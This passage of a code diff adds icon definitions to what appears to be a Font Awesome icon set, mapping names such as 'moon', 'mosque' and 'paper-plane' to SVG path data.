10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z"], + "money-bill-wave-alt": [640, 512, [], "f53b", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z"], + "money-check": [640, 512, [], "f53c", "M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z"], + "money-check-alt": [640, 512, [], "f53d", "M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z"], + "monument": [384, 512, [], "f5a6", "M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"], + "moon": [512, 512, [], "f186", "M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z"], + "mortar-pestle": [512, 512, [], "f5a7", "M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "mosque": [640, 512, [], "f678", "M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z"], + "motorcycle": [640, 512, [], "f21c", "M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z"], + "mountain": [640, 512, [], "f6fc", "M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z"], + "mouse": [384, 512, [], "f8cc", "M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z"], + "mouse-pointer": [320, 512, [], "f245", "M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z"], + "mug-hot": [512, 512, [], "f7b6", "M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z"], + "music": [512, 512, [], "f001", "M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"], + "network-wired": [640, 512, [], "f6ff", "M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z"], + "neuter": [288, 512, [], "f22c", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "newspaper": [576, 512, [], "f1ea", "M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z"], + "not-equal": [448, 512, [], "f53e", "M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z"], + "notes-medical": [384, 512, [], "f481", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z"], + "object-group": [512, 512, [], "f247", "M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z"], + "object-ungroup": [576, 512, [], "f248", "M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z"], + "oil-can": [640, 512, [], "f613", "M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z"], + "om": [512, 512, [], "f679", "M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z"], + "otter": [640, 512, [], "f700", "M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z"], + "outdent": [448, 512, [], "f03b", "M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "pager": [512, 512, [], "f815", "M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z"], + "paint-brush": [512, 512, [], "f1fc", "M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z"], + "paint-roller": [512, 512, [], "f5aa", "M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z"], + "palette": [512, 512, [], "f53f", "M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "pallet": [640, 512, [], "f482", "M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z"], + "paper-plane": [512, 512, [], "f1d8", "M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z"], + "paperclip": [448, 512, [], "f0c6", "M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z"], + "parachute-box": [512, 512, [], "f4cd", "M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z"], + "paragraph": [448, 512, [], "f1dd", "M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z"], + "parking": [448, 512, [], "f540", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z"], + "passport": [448, 512, [], "f5ab", "M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z"], + "pastafarianism": [640, 512, [], "f67b", "M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 